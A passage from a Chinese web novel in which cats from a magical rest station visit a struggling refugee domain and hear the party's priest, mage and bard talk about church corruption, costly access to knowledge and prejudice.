这时,凯桑德拉小队的其他几人推开门,看到两个人对着坐着,立刻就猜到牧师又在到处给人治疗了
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。
凯桑德拉笑着拍了拍卫锦程的肩膀:“好啦,别跟我们牧师客气。他虽然一肚子坏水,但确实是个好人。”
“队长,不要揭穿我嘛。”泽安德无奈地说着,装出一副叹气的样子,“话说回来,乔伊斯,艾尔,你们那边怎么样了?”
“还算顺利吧。”乔伊斯点了点头,看上去有些忧心忡忡,“但是,领地里很多人不愿意我们继续接收解救出来的奴隶,在闹抗议。”
“还有,领地内接收的人按照接收时间的不同,逐渐形成了小团体,各自之间时常发生矛盾冲突。”
艾尔翻着手里的纸张,认真说道,
“我的意见是,开始组建管理队,并且要斟酌人员配比构成,划区域管理。另外,泽安德……”
“我知道,我会帮忙处理的。”泽安德微微低了低头,头发轻轻晃了晃,“这次只要告诉他们,神会惩罚心怀恶念的人就可以了。”
“……你还好吗?”凯桑德拉皱起了眉,敏锐地察觉到泽安德的情绪好像不对劲。
“我?没关系的。不如说,我应该是我们小队里最清闲的了吧。”
泽安德抬起头看着凯桑德拉,一如既往地笑了笑。说完,他便向其他人道了别,和凯桑德拉一起准备回领地了。
卫锦程看见他笑着挥手,有些僵硬地也抬起手回应了一下,心下总觉得哪里不对劲。
黑猫跳了过来,粘着乔伊斯喵喵叫。它特别喜欢她,因为它执掌的规则亲近她。
最终,卫锦程用极低的声音问道:“那个牧师……是什么情况?”
如果是来到休息站以前,她一定不会去管别人的事情。人在和其他生命的相处过程中,总有什么在悄悄发生着变化。
艾尔愣了愣,缄默不语地看向乔伊斯。乔伊斯想了想,对艾尔点了点头。
卫锦程不是他们世界的人,就算说了应该也不会影响到他们的计划。更何况,他们也算是一起保护过猫猫休息站的过命交情了。
“教育人很难,而恐吓人很简单。”艾尔想了想,最终开口解释道,“虚无缥缈的神明很适合用来规范人们的道德和行为,这是目前最快速,成本最低的可行方案。”
“但是泽安德其实不喜欢这样。”乔伊斯叹了口气,语气有些低落,“他只是想给别人治病疗伤而已,但现在,他必须扮演这样的角色。”
她曾经听泽安德自嘲过——他觉得他现在这样简直像现在教会的教皇一样,帮过的人屈指可数,却依然被人们景仰。
“泛滥的东西会贬值,包括善意。”艾尔则显然持有不同观点,“泽安德也知道,自己救不了所有人。”
“走一步看一步吧,要不是教会施压,我们也不至于非要这样……”
乔伊斯托着腮叹了口气,对卫锦程轻轻点了点头,
“总之对泽安德来说,给人治疗就是放松心情。他最近情绪不太好,你不用太放在心上。”
卫锦程不知道说什么,最后憋出来了一句:“……他爱好挺独特的,你们那边牧师都这样吗?”
“呃,正相反。”乔伊斯的语气有些微妙的尴尬。
28. 猫猫要去外出学习
人本该因为信仰而强大,而非因为信仰而高贵。没有人是生来高贵的,然而,教会显然不这么认为。
“借用神的名号,自诩天生高人一等,将‘治愈’当作‘恩赐’,以供奉为由敛财,不允许牧师擅自帮别人治疗……”
乔伊斯托着腮叹了口气,摇了摇头,
“但确实,在小老板之前,从来没听说过有不信仰神的生物能使用治疗术。”
卫锦程听到这里,突然开口问道:“一定没有吗?”
“你说到点子上了——谁知道呢?反正现在是没有了。”乔伊斯耸了耸肩,摸过手风琴站起身,“唯一能肯定的是,如果教会知道泽安德的情况,他很快也会‘没有’。”
神的恩赐被贩卖成了金币。用钱,就能买到神的原谅和爱。
狸花猫在旁边一副好奇的样子听着,静静思考着人类复杂的事情。猫的小脑袋聪明,但它没受过人类社会的影响,只能艰难理解人类的概念。
客人们走了之后,它思考了一下,突然跳回了自己的猫窝,叼着一个小包袱出来,把头伸进去,背上了小包袱。
“喵——喵——”
狸花猫大声喵了几声,德文猫、奶牛师傅和其他几只身体素质比较好的猫猫都聚了过来,喵了一会后,各自回自己的猫窝里,背上了不同花纹的小包袱。
猫猫要外出学习了。外出学习变成更聪明的猫猫,才能赚到更多罐罐。
在狸花猫对着自动售货机的需求收集界面坚持不懈喵了一个星期之后,所长终于不胜其烦地丢了个传送装置过来——带身份认证的,只有休息站的猫猫能用。
而布偶猫则负责留守,带着小煤球以及其他身体不算好的猫猫留守在休息站内,继续维持一定程度的营业。等到狸花猫它们回来之后,再给去不了的猫猫讲故事。
狸花猫又用小爪子扒拉了一下,从自己猫窝的垫子下面扒拉出了之前时空管理局作为员工福利下发的防御项圈,喵了几声,项圈便自动飞了过来,在猫猫的脖子周围悬浮着。这样的设计既不会勒到猫,又可以最大程度保证装置的隐蔽性。
一切准备就绪后,狸花猫肉垫往售货机上一拍,猫猫们脚下就突然开了个洞,喵了乌拉地就被扔出去了。
是的,这种突如其来的传送方式是所长对于猫使唤祂感到不满的表现。当然祂也有分寸,不会真的让猫摔到。
离地不过小半米的高度,健康的猫猫一拧身就能猫爪着地。狸花猫落到了广阔的土地上,抬起小脑袋左右看了看,鼻子和耳朵也微微动了动。
它们被送到了一片树林中,此时正是这边的黄昏,暖红色的光透过树叶照在猫猫们的身上。狸花猫三两下跳上了大树,远处模模糊糊看到了好像是人类聚居地的地方。
按照传送前选择的坐标来说,这里应该就是凯桑德拉他们一行人的领地了。
狸花猫记下大致方位后,便轻巧地跳回地面,随后带领着一队猫猫郊游似的往人类聚居地方向走去。小爪子踩在地面上,留下了一串可爱的爪印。
泥土路周围,有些简陋的房屋,看上去像是临时搭建的,只能说勉强能够遮风挡雨。而这里的居民正三三两两地坐在门口。
他们看上去大都有些不健康的瘦弱,身上随便披了些看上去有不少污渍的织物,说话的声音听起来似乎没什么精神。
猫路过,猫被一堆人困惑地盯着。
倒不是这个世界没有猫,只是这几只猫猫看起来毛毛油光水滑的,一看就是生活得很好的小猫咪,但这里的人都是难民和被救出来的奴隶,谁有能力去养猫呢?
狸花猫东张西望,意识到这一点后不情不愿地打了个滚,让毛毛上沾了不少尘土和小土块,这样看起来才没那么突兀。
但随后它发现,周围依然投来了关注的目光。狸花猫察觉到这些目光似乎是落到了黑猫身上,它回头看了黑猫一眼,黑猫看了它一眼,然后猫猫们继续往前走去。
既然不知道怎么回事,那就继续走吧。猫豁达,猫好。
黑猫的尾巴垂了下来,有些不耐烦地左右转了转小脑袋,扫视了一下周围的人。狸花猫不知道怎么回事,但是黑猫知道。
在很多地方,黑猫都被当成不详的象征,程度有轻有重。轻一点的最多是无视黑猫或者稍微避开,重一点的……
黑猫突然三两下跳到了屋顶,用冷淡的眼神看着拿着棍子接近它的人。显然,这个世界对黑猫十分不友好。
狸花猫反应也很迅速,立刻带着其他猫猫一起跳到了高处。猫的灵活程度根本不是人类能比拟的,很快,几只猫猫就消失在人们的视线中了。
直到此时,狸花猫才突然想起来之前凯桑德拉提到教会对黑猫的态度时欲言又止的表现。它歪了歪小脑袋,困惑了一会。
人觉得黑猫不好,人觉得黑猫害人,所以人打黑猫,但是人为什么觉得黑猫害人呢?猫那么小,又打不过人。
思考是狸花猫长久以来养成的习惯。猫的脑袋小,虽然狸花猫已经很聪明了,但比起人类还是差了些,只能多想多看勤能补拙。
狸花猫在目前为止的猫生中,总结出的变聪明方法就是——遇到不明白的事情就开始思考“为什么”,以及多听别的智慧生物讲话,努力理解自己不懂的事情。
猫的逻辑是,懂的事情越多,不懂的事情就越少,非常合理。
但现阶段来说,让狸花猫理解信任、教会、权力倾轧和社会规训还是太困难了一点,所以猫思考了一下,决定选择其他方法。
猫的事情问猫,人的事情问人,找休息站的客人玩去。不过在此之前,狸花猫要先带其他猫猫逛逛这个世界,偷听人类交谈。
狸花猫知道,问到答案固然简单,但绝不能略去中间收集信息和思考的过程。猫猫们都要变得更聪明,才能保护好自己。
转悠了一圈之后,猫猫们找了一处偏僻无人的屋顶,召开猫猫讨论小会。
事前狸花猫探查过,这座屋子里没人,只是放着两个有些虫蛀了的木制骨灰盒,上面写着猫不认识的字,大概是名字吧。
屋子
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里有小半块面包,被用一块麻布认真包了起来,似乎是舍不得吃,但如今已经发霉了,长了菌子,人再也吃不到了。
好像有的人就这样死得无声无息,没有人记得,没有人知道,这个世界只有“主角”才能被别人看到。
不过,狸花猫在屋内留下了一朵小野花,作为猫猫们征用废弃屋宅的报酬。
言归正传,狸花猫叼了几块小石头放在其他猫猫面前,爪爪一拍,开始梳理思路。
首先,这个世界里有很多坏蛋。一群一群的坏蛋和与自己相似的坏蛋聚集在一起,欺负比较弱的人类。
由神职人员组成的教会掌握着治疗能力,用于敛财和规训其他人类,构筑自己高贵的地位。依靠神明,他们将道德标准握在了自己手里。
剑士们可能在王国护卫队里任职,或担任私人保镖。他们大都骄傲而暴躁冲动,喜欢夸耀自己的武力。在街上看到剑士最好避让,避免被找麻烦。
要警惕那些唱诵着有趣故事的吟游诗人,他们固执而自我中心。吟游诗人中的很多人即便是对待好心收留其临时居住的平民,也可以毫不犹豫地卷走他们所有的财物。
而法师对这世间的一切漠不关心,他们只爱自己的知识和力量,并不排斥用普通人做实验。弱者会死在他们看来是天理。毕竟,物竞天择,适者生存。
狸花猫回想了一下自己店里那四位,怎么想也没对上号,难怪他们开玩笑说叛逃是加入小队的必要条件。
非要说的话,狸花猫只是对他们队的法师艾尔不怎么了解。那个人对猫猫淡淡的,虽然说不上坏,上次还保护了休息站,但总是有种微妙的距离感。
大部分人类在小猫咪面前都会改变说话声音,而且多少都喜欢上手顺着毛摸几下,捏捏肉垫或点点小鼻子。对猫来说,已经习惯人类都是失礼的大流氓了。
猫在人面前翻肚皮,猫好;人掏猫肚皮,人坏。
但是艾尔摸猫猫的时候,很微妙地只挠下巴或尾巴根部上面一点点的背部位置,而且一般都在一边摸一边看书。
这种做法让狸花猫多少有点联想到那位所长——不得不承认,这样猫确实很舒服,但猫还是很好奇他们为什么不像其他人类一样当大流氓。
就在大家咪来喵去的时候,狸花猫突然动了动小鼻子,轻轻抽了抽,随后转过小脑袋看向一个方向,喵了一声就带着一队猫猫往那边跑去。
猫猫的嗅觉灵敏度虽然比不上狗狗,但也是人类的十四倍,能闻到数百米内的气味,分辨熟人的气息不成问题。很快,一堆猫就咪了喵啦地跑到了聚居地外围。
就在其他猫猫准备向远处穿着法师长袍的那个黑发金瞳的清秀青年撞过去时,狸花猫突然刹住了脚步,喵了一声,让其他猫猫先缓一缓动作。
好像有哪里不对劲,为什么艾尔旁边还有好几个同样穿着长袍的人类呢?
狸花猫的小脑袋努力思考了一下,带着其他猫猫放轻了脚步,小肉垫悄无声息地踩在地上。慢慢潜伏到那几个法师周围,准备静观其变。
29. 知识无价路有价
猫猫们在阴影拐角处悄悄探出小猫脑袋,头叠头,猫叠猫地观察远处的长袍人类交谈,并都将小耳朵动了动,转到了朝前的样子。
猫猫无组织无纪律,时不时就有几声猫叫声扩散出去。但,那又怎么样,反正这里真的是猫,就算有人过来也只能看到一群猫。
从之前听到的信息来说,法师的等级似乎是根据袍子的颜色和袖口的花纹来区分的。学徒、法师、大法师从低到高分别穿着灰白色、深蓝色与黑色的袍子。
花纹则代表了法师的等级,至于具体的……猫忘了。十个等级的不同花纹太多了,猫记不住。尤其狸花猫是聪明但不那么细心的猫猫,就更记不住了。
不过好在,德文猫对客人的信息记得比较清楚,还想得起来艾尔是九级法师,能提醒狸花猫一下。
“艾尔,这是最后一次警告了。如果你再不回法师塔那边,我们就要将你从名册上除名了。”
黑袍的法师缓慢而平静地说着,这位大法师看着艾尔,眼中流露出一丝困惑,
“你是近几年最有天赋的年轻法师,为什么要跟这群人搅和在一起,做‘救奴隶’这样的蠢事?你明白的吧,这是蠢事。这种行为就像是从大海里往外舀水一样不可理喻。
而你,被除名后就再也无法进入法师塔阅读典籍。从来没有一个法师被法师塔除名后,还能在魔法领域继续进步。
我想以个人的名义问问你,你为什么要这样做?你该知道,对于法师来说,愚蠢是原罪。”
艾尔犹豫了一下,看着面前的大法师,微微低下了头:“知识是平等的,但通往知识的路不是,意识到这一点让我很沮丧。对于我的愚蠢选择,我不做辩驳。我只想请问您,能不能允许我抄录一些基础的书籍……”
“法师塔的书籍严禁外传,这是规定。下周之前,如果你不返回法师塔,就准备做一辈子九级法师吧。”
大法师似乎对艾尔彻底失去了兴趣,带着其他法师拂袖而去,只留下艾尔一个人留在原地,沉默地低着头。
狸花猫动了动小脑袋,意识到艾尔似乎不是在做什么坏事。它歪着小脑袋简单判断了一下,便迈着小腿带着其他猫猫飞奔了过去,直接撞到了艾尔的膝盖窝上。
正在在收拾情绪的艾尔被猫撞得一个趔趄,差点栽倒在地。他一低头,看见喵喵叫的狸花猫,愣了愣,有些不确定地仔细观察了一下花纹的走向。
“……小老板?”
“喵!”
狸花猫抓了抓艾尔的裤脚。艾尔蹲下身,摸了摸狸花猫,又看了看周围其他几只熟悉的休息站员工猫猫,有些困惑。
“你们是怎么到这里来的?”
狸花猫认真地喵了一串后,一人一猫面对面静默了一会。显然,艾尔听不懂。他起身揉了揉后脖颈,叹了口气。
“算了,先不想了……走吧,我带你去找凯桑德拉。”
说完,艾尔的目光在黑猫身上略微停留了一下,将黑猫抱了起来,随后领着一队猫向领地核心区走去。
这里人多事杂,受过教会宣传耳濡目染的人不在少数。教会对黑猫的态度不算友好,放它自己走的话说不定会遇到麻烦,最好重点保护一下。
当然,不只是让黑猫少点麻烦,也算是保护一下这里的人类。这只黑猫是规则执掌者,可不是什么没有还手之力的普通小猫。
另一方面,要是黑猫在这里让人死掉,那加在黑色猫猫身上的谣言可就真的说不清了。艾尔也不希望这个世界对黑猫的成见进一步加深。保险起见,还是直接抱着吧。
走到了稍微靠中心一点的区域后,多少有了些像样的街道。这里原先是一个正经的领地,但在战乱爆发后,领主放弃了保护这一小片区域,没有自保能力的人都搬走了。
也幸好小队四人都不是什么普通人,不然这样一个以被解救出来的无战斗力奴隶为主要成分的脆弱领地,在战乱地带根本站不住脚跟。
另外,猫猫休息站也确实帮了很大的忙——能供给一个领地的粮食已经是战略物资了,在教会和王公贵族领主势力环伺的情况下,他们四人小队本不可能撑起这样规模的领地。
一路走得很慢,因为狸花猫时不时就会咬住艾尔的裤脚,将他拽到某个偏离原定路线地方,然后喵来喵去地要求艾尔进行介绍。
“那边是田地。简单按照规划来说,应该秋收之后人们就能勉强自给自足了。具体一点的话……你想了解税率设置、人口统计以及人口密度分布的问题吗?”
狸花猫关上了它的小耳朵。
眼看着狸花猫把耳朵转到了朝后的方向,艾尔也没有非要跟猫说这些事情的意思,只是继续把猫猫们往正路上带。
“老师?”
听到这个声音,艾尔停住了脚步,回头看着几个跑过来的孩子,微微点了点头。而小孩子们看着艾尔旁边围着的猫,有些好奇,又有些害怕。
“这些猫是您养的吗?”
“不是,是朋友。”艾尔摸了摸怀里的黑猫,对小孩子们继续说道,“这个世界上有很多不可思议的生物,我们在观察世界的时候要放弃惯性思维,时刻保持理智的观察态度。来,试着和它们玩玩。”
黑猫应声叫唤了一下,吓得孩子们一个激灵,但又不舍得跑开。
“老师,之前我们那边的教会说,黑猫是被神诅咒的不详生物……”
“尽信书不如无书,你们自己过来看看。”
听到艾尔的话,又见他一直面色如常地抱着黑猫,几个孩子这才敢靠过来,好奇地想要戳戳黑猫。
见黑猫有些不高兴地晃了晃脑袋,艾尔叹了口气,后撤了一步:“不可以戳,对它友善一点。你会喜欢别人戳你脑袋吗?轻轻摸摸它,你喜欢被怎么对待,就怎么对待它。”
猫对小孩子通常容忍度都高一点,至少黑猫确实不计前嫌地让小孩子们摸了摸脑袋,还轻轻蹭了蹭他们的手。
“并不是从别人口中说出来的、或写在纸上的就一定是正确的事情。正确与否是既定事实,不会因为别人的话而产生偏移。”
艾尔说完,抬头看了看太阳,判断了一下时间,
“我还有事。有其他问题的话,之后上课再提,先走了。”
与牧师泽安德相比,艾尔说话没那么亲切。不过在法师里面,他已经算得上是有耐心的人了。
狸花猫走累了,抓着艾尔抢劫一样跳到了他怀里,和黑猫挤了挤,猫叠猫。
艾尔又叹了口气,口中轻轻念了句咒语,周围突然出现了七八只半透明的魔法手,将所有猫猫都抱了起来。
走着走着,艾尔突然开口闲聊般对着怀里的狸花猫说道:“……我因为总是在这里处理些乱七八糟的事情,已经很久没有进阶了。法师塔的人都说我是废掉的天才。”
法师进阶需要加深对世界规则的理解,这是一条艰深晦涩而崎岖难行的路,需要不停息地对魔法
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知识进行研读。
因此,法师们都非常珍惜自己的时间和精力,虽然他们冷漠到甚至不会特意去欺压对他们没有价值的人,但时不时就会有只是因为走路的时候挡了法师一下就被杀的事情发生。
时间是宝贵的,一切都是为了更多的知识和魔法力量,对知识没有帮助的人,不值得施舍任何注意力。包括法师塔的人前来寻找艾尔,也只是因为他天赋过人,希望他能多为法师塔贡献些论文而已。
“曾经比我法师等级低些的同辈们,一个个的都成了我的同级,甚至有一个人升到了十级,正在为晋升大法师做准备。”
艾尔边走着,边平稳地说着,内容没有多少抱怨,只是语气多少有些不甘,
“既然你们让我带路,那就顺便听我抱怨两句,当作给我的报酬吧。”
“喵——”
狸花猫拖长了尾音喵了一声,又打了个哈欠,耳朵微微动了动,表示“你说,我看心情听”。
“……我的父母都是法师,我在法师塔内出生。他们告诉我,这个世界上最重要的就是知识。只有拥有知识,才能远离世界上最可怕的特质——愚昧和无知。
法师塔教育我,愚蠢是原罪,知识平等地对待每一个人,知识是这个世界上最公平的东西,理应如此。所以,那些弱者都是活该,他们明明都可以选择学习知识。
我十二岁前从未离开过法师塔。在很长一段时间内,我一直以为那些平民和奴隶真的是因为懒惰而弱小。明明知识都在书里,明明魔法是平等的,为什么不努力呢?
但后来我在游学的时候,遇到了一个鞋匠学徒。客观来说,这个孩子的天赋非常高,只是看我用魔法点火,就学会了些火系魔法基础。
这种天赋即便是在法师塔内也不多见,我就问,‘你为什么不看书呢’?
这个学徒愣了愣,像是看弱智一样看了我很久,但最后没敢跟我说实话,只是糊弄了我两句。”
说着,艾尔无奈地又摇了摇头,低头看了一眼狸花猫,
“后来我才知道,因为世道不太平,生活艰难,很多平民的小孩从能走路开始就要帮家里分担压力。书是要钱的,而且很贵。”
一周花六七十个小时研读典籍的法师,真的比一周用六七十个小时赚钱糊口的人更努力吗?
绝非如此。
“我仍然认为,知识是这世界上最有魅力的事物——它们不随着任何人而变化,它们永恒存在,但……”
艾尔深吸了一口气,缓缓呼出,表情有些无奈而低落,
“通往知识的路被标了天价。对于平民来说,想进入法师塔读书,需要他们一辈子也赚不到的钱。
我以后或许会后悔吧,但我想,人出生时都是无知的,那么至少小孩子不应该被剥夺接触知识的机会。”
艾尔说完,看见狸花猫似乎有些精力不集中地打了个哈欠,忍不住轻轻摸了摸猫猫脑袋。
本来也没指望猫说些什么来安慰他,只是想说出来而已。艾尔现在做的事情,完全违背了他过去二十年形成的价值观念,他需要时不时将这些事情说一次,只有这样,他才能坚持下去。
很快,艾尔和魔法手抱着一堆猫猫来到了中心区。说是中心区,其实也就是相对完好一些的宅邸。这里曾经应该是富人区。
“队长,看看谁来了……”
艾尔推开门,话还没说完,就看见一把椅子迎面向他飞了过来。
30. 至少我们还能做梦
艾尔不慌不忙地吐出一个音节,椅子就悬停在了半空中,缓缓落地。而他偏过头简单扫了一眼,基本掌握了室内的情况。
凯桑德拉正站在乔伊斯和泽安德两人身前,表情严肃。他们面前大概聚集了二十多个人,正在乱哄哄地吵嚷着什么。
“你们还要接纳新人?就是因为你们,我们都吃不饱饭了。你们问过我们的意见了吗?我们不同意!领地里的人都不同意!”
“我们现在的粮食还是够容纳更多人,不会有这样的风险。另外,我们这里来去自由,你们如果有意见可以直接离开……”
乔伊斯话还没说完,立刻就被情绪激动的人群打断了。
“凭什么!你们凭什么不管我们的死活!”
狸花猫好奇地探出了脑袋,却不曾想这个举动反而让室内的人声音更大了。他们看到这几只猫,越说越起劲。
说他们伪善,说他们幼稚不懂事,说他们浪费粮食养猫……越说越起劲,越说越难听。
艾尔眼底掠过一丝厌倦,径直向前走去,根本没有搭理这些人。而他们注意到艾尔后,反而安静了不少,有些害怕地让开了一条路。
事实上,这二十几个营养不良的人都挡不住凯桑德拉抡一次巨剑,但艾尔曾经在法师塔的书籍中见过这样一句话——
有些人类就像狗,一多就有底气成群结队地叫唤,一只叫了就引来一群,无理的观点都能叫出三分理。而且越是面对讲理礼貌的人,他叫得越欢。
“你们要忤逆神的教诲吗?对吧,泽安德。神不会赐予这种人疗愈的恩典的。”
听到艾尔的提醒,泽安德犹豫了一下,最终点了点头,看向了这群人警告道:“……请注意你们的言行。”
艾尔本身就是这四个人中性格最冷淡的,平时并不会表现得很友好,反而让这些人本能记起了对法师的畏惧情绪。
见状,艾尔耸了耸肩:“队长,我就说你们太温柔了吧。”
凯桑德拉翻了个白眼,显然已经被这群人说的话气到了,不过姑且还控制着情绪:“行了行了,别说风凉话了,你来说怎么办吧。”
“让我处理他们啊,真的吗?”
艾尔走到凯桑德拉面前,眯起眼睛露出了不太像好人的笑容,本让来清秀好看的脸看上去多少有点渗人,
“队长,你确定可以让我全权处理吗?无论怎么处理你们都不怪我,对吧?”
说着,艾尔瞥了一眼明显安静了下来开始往后缩的人群,对凯桑德拉不着痕迹地使了个眼色。
凯桑德拉会意,装作犹豫了一下,叹了口气:“算了,这次先这样,下次再交给你。”
“真遗憾。”艾尔摇了摇头,转头看向那些闹事的人,眯起了眼睛,“还不滚?等着我记住你们的脸吗?”
等其他人惊慌失措互相推搡着跑出去后,艾尔揉了揉脖子,有些无奈地看着凯桑德拉。
“总这样下去也不是办法……不过先不说这个,小老板来找我们玩了。”
“诶呀,你们怎么突然来了。”
凯桑德拉蹲下身,朝橘猫伸出了手,轻轻握拳,而橘猫也朝她伸出爪爪碰了碰。
一人一猫之间有莫名其妙产生的革命友谊,非要说的话,链接这两个生物的,大概是食物吧。
狸花猫晃了晃脑袋,把背着的小包袱放了下来,从里面掏了张纸出来咬住,给小队的四人观看。
——“猫猫休息站员工进修旅行,请帮助猫猫学习,谢谢喵”
猫会礼貌地请求帮助,猫好。
一番沟通后,凯桑德拉挠了挠头:“你想了解我们这边的事情啊……那先让乔伊斯和泽安德带你们去附近转转,我得和艾尔聊聊刚才的事。”
小队分工明确——凯桑德拉是最终决策人,艾尔负责统筹规划;乔伊斯传颂和编写充满爱与勇气的诗歌,与泽安德共同负责精神文明方面的建设,执行艾尔的计划。
泽安德笑着抱起狸花猫,轻轻捏了捏它的肉垫:“小老板真健康啊,太好了。”
“喵。”
与此同时,黑猫跳上了乔伊斯的肩膀,轻轻蹭了蹭她的脸颊。
“接着这个。”艾尔抬手给两人各扔了个圆形的小东西,“魔法手雷,记得保证自己的安全,别走太远。”
乔伊斯略微歪了歪头,露出了尖尖的耳朵和耳根略有些异样的鳞片:“放心吧,我多少会些精灵魔法,没事。”
泽安德也回了一句:“别担心,我自保没什么问题。”
没错,牧师的身体能力和攻击力确实比较弱,但抛开“牧师”这个刻板标签来看,泽安德是一个身体健康的成年人,并且能治疗自己,一般人拿刀和他对着互捅也捅不赢。
狸花猫轻轻舔了舔爪爪,等他们商量好后,喵了一声,集结起猫猫队跟上了两人。
然后羸弱的牧师和吟游诗人齐齐被聚集在脚边蹿来蹿去的猫绊了一跤,怎么看也不像能让人放心的样子。
猫在人的脚边粘人,猫好;人差点踩到猫,人坏。
无奈之下,乔伊斯开口协商道:“小老板,你让大家走在旁边吧,没法走路了。”
狸花猫有些莫名其妙地喵了一声,不情不愿地答应了下来。猫的反应速度是人的七倍,人类笨笨的,还慢悠悠的,只能辛苦小猫咪照顾一下了。
就这样,一队人和猫慢悠悠地在街上逛着。不过,事实上主要是两人在讲各种各样的故事,街道本身没啥好逛的——破败的房屋瓦砾、杂乱的树木、空荡荡的街道上看不到多少人。
“现在还没到秋收的时候,领地主要靠我们定期发放粮食支撑,至少能足够让大家活下去。”
乔伊斯说着,走到了一处从前似乎是广场的地方,这里聚集了不少小孩大人,正在等待着什么。
“泽安德,你看好猫猫们,我去一趟,很快回来。”
说完,乔伊斯抱起了手风琴,三两步站到了广场中央,轻轻拉动着手风琴,随着乐器音调起伏扬起了明朗的笑容。
“Buonasera!女士们先生们,各位还没有长得比小马驹高的小家伙们,今天我带来的故事,是一个关于白马的传说。从前,在马群中,有一匹通体雪白的马,和其他马都不一样……”
泽安德带着猫猫们坐到了不那么起眼的角落,托着腮看向阳光下神采飞扬的乔伊斯,略有些走神,直到狸花猫喵了几声才回神,继续开始进行解说。
“通常,贵族和教会都愿意收买吟游诗人,让他们到处散播有利于自己的故事。也因如此,大家普遍认为吟游诗人的故事变得越来越无聊了。
不过乔伊斯说,只有真实的故事与情感才能编织成美妙的诗歌,所以她的故事基本都是基于冒险中的见闻创作。”
狸花猫跳到了泽安德的肩膀上,用爪爪拍了拍他的耳朵,又看向乔伊斯的方向喵了一声。
“你问这个?抱歉,这是隐私问题,我不能说,你想知道的话去问她本人吧。”
泽安德摇了摇头,把狸花猫从肩头接了下来,放着怀里让它专心看乔伊斯的表演。
与人类不同,精灵文化对血脉纯净非常重视,哪怕是先天身体素质或魔力更强的个体,也会被称为“半精灵杂种”。
然而半精灵和精灵一样,在一百岁前都无法离精
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灵母树太远。因此,所有半精灵的童年,都是在这样的歧视中度过的。他们通常要用一生去解决这个心理问题。
泽安德看着远处乔伊斯无意识地调整了帽子和头发,遮住了阳光下泛着美丽光泽的鳞片,忍不住叹了口气。
“……不应该这样。”
最终的歌谣结束后,乔伊斯用咏叹的语调轻声揭示故事的结局。
“最后的最后,毛色与众不同的白马找到了愿意接纳它的族群。它安然地闭上了眼睛,终于知道自己无错。
我们都会找到家。我们还活着,这个世界总能容得下我们,对吧。”
这里的人都是被救下来的奴隶,或许曾经有过亲人,或许曾经有过稳定的工作,但现在,所有人都沉默了,随即爆发出了发泄一般的欢呼和掌声。
家不是婚姻、不是血缘、也不是故土。能够让心灵安定下来的地方,就是家。猫想有家,人也想有家。
眼见着其他人突然开始鼓掌,猫猫们都愣了愣。狸花猫试着抬起两只前爪学着拍了拍,肉垫发出了噗的一声,拍不响。
显然这种表示喜爱的方式并不适合猫猫,狸花猫很快发现自己拍不出响声后,思考了一下,开始喵喵叫着监督泽安德鼓掌。
“好了好了,我都有点不好意思了。”乔伊斯走了回来,有些好笑地看着被猫猫奴役的泽安德,“我只是每天来这里例行演出罢了。说实话,最近我演出的次数要比过去一百年都多了,真让我受宠若惊。”
泽安德听到乔伊斯的话,有些疑惑:“怎么会,我之前可是听说王都剧院的人都邀请过你呢。”
“那不叫演出,只是维持生计。毕竟活着就得要钱。”乔伊斯摇了摇头,“我的诗歌大部分不是写给他们的,每次去他们就只排那几出固定的,我已经唱烦了。”
“我懂……我之前在教堂的时候,每天都有根本没受伤的贵族送钱过来,让牧师对他们释放高阶治疗术调养身体,就算我说没用他们也不管。”
乔伊斯坐到了泽安德的旁边准备歇会,两人齐齐叹了口气,抬头看了一眼天空,沉默了一会,突然异口同声地轻声念叨了一句。
“‘人生而平等’……吗。”
温言谨曾经说的话还是被他们听了进去,他们一边认为这个说法不切实际,一边又忍不住去想。
这个世界没有高楼,天空很辽阔,一眼望不到头,但他们似乎依然无时无刻不在牢笼中。
“我们做的事情,大概最终也改变不了什么吧。”泽安德看着缓缓飘过的云,语气带着些悲伤,“我们的世界,真的会存在平等吗?”
“不知道。不过就算真的不存在平等……”乔伊斯顿了顿,转头看向泽安德,“就算这样,幻想也是自由的,就算是巨龙也不能阻止我做梦。我想要试着想象一下平等。”
吟游诗人标志性的浮夸宽檐羽毛帽下,隐约可见微妙闪烁着散射阳光的鳞片。确实,做梦应该是吟游诗人的天职。最开始,他们向人类传递着梦中的勇气、梦想与爱。
泽安德惊讶地看着乔伊斯,愣了几秒,又释然地笑了起来:“吟游诗人不愧是专门治疗心灵的职业啊……”
“我喜欢这个说法,借用了。”乔伊斯对泽安德伸出手,开玩笑似的握了握手,“合作愉快,专门治疗身体的牧师。希望我们能一起让这个世界变得更健康一点。”
狸花猫打了个哈欠,用小脑袋拱了拱乔伊斯的裤脚,希望继续到处逛逛。
猫猫传送过来一次只能待一天,而且很贵呢,不许偷懒,先伺候猫。
与此同时,休息站内,温言谨正尴尬地和卫锦程面对面坐着……
31. 在末日之前
休息站内,温言谨正拘谨地看着卫锦程帮她做excel表格。
“我建议你抽时间学学这些办公软件,很实用,这些对我来说,比大学的知识用得多。”卫锦程一边用着温言谨的笔记本电脑,一边随口说道,“看视频就行了,没必要报班。”
“啊,呃……谢谢。”
温言谨有些语塞。倒不是她觉得对方说的话有什么不妥,只是她印象中的卫锦程还是拿着匕首会隐身的敏攻异能者,本身就是另一个世界的人,像是小说中的人物一样。
现在看着这位末世大佬在熟练使用办公软件,周身溢出明显的社畜气息,温言谨难免感到有些微妙的违和感。
不过温言谨察觉到,卫锦程的世界在末世之前似乎和她的世界相差不大,就连这些办公软件都差不多,快捷键也……
刚想到一半,美短起司猫跳了上来,小爪子好奇地拍向关机键,卫锦程眼疾手快地抬起了电脑,同时飞快地按下了ctrls保存文件。
猫坏。这次真的找不到理由了,虽然未遂,但猫真的坏。
看到卫锦程的反应,美短猫意识到自己犯了错,正要逃跑,但被一辆布偶拦住了去路。猫管教猫,猫带着猫道歉。
“喵……”
美短猫尴尬地舔了舔爪子,又打了个滚,试图卖萌赎罪。
卫锦程看着布偶猫押着美短过来道歉,还用爪子拍了拍美短的脑袋,嘴角微微翘了翘,轻轻伸出食指点了点美短湿漉漉的小鼻子。
“好了,扯平了。”
意识到卫锦程没有看上去那么难相处之后,温言谨努力无视对面大佬袖口的血迹,鼓起勇气开口试着聊天:“姐姐,你之前是做什么工作的?”
卫锦程有些意外地看着温言谨,倒不是觉得被冒犯,只是已经很久没人问过她这种问题了。
“……普通文员,勉强够养活自己。我学历不行,找工作找得很不容易。早上八点上班,晚五点半下班,月休四天。”
卫锦程努力回想了一下,托着腮平缓地说道,
“其他的我不记得了。当时家里的人生病也不敢跟我说,钱不够治不了,就去世了。现在想想早点死了也好,总比在末世受罪强。”
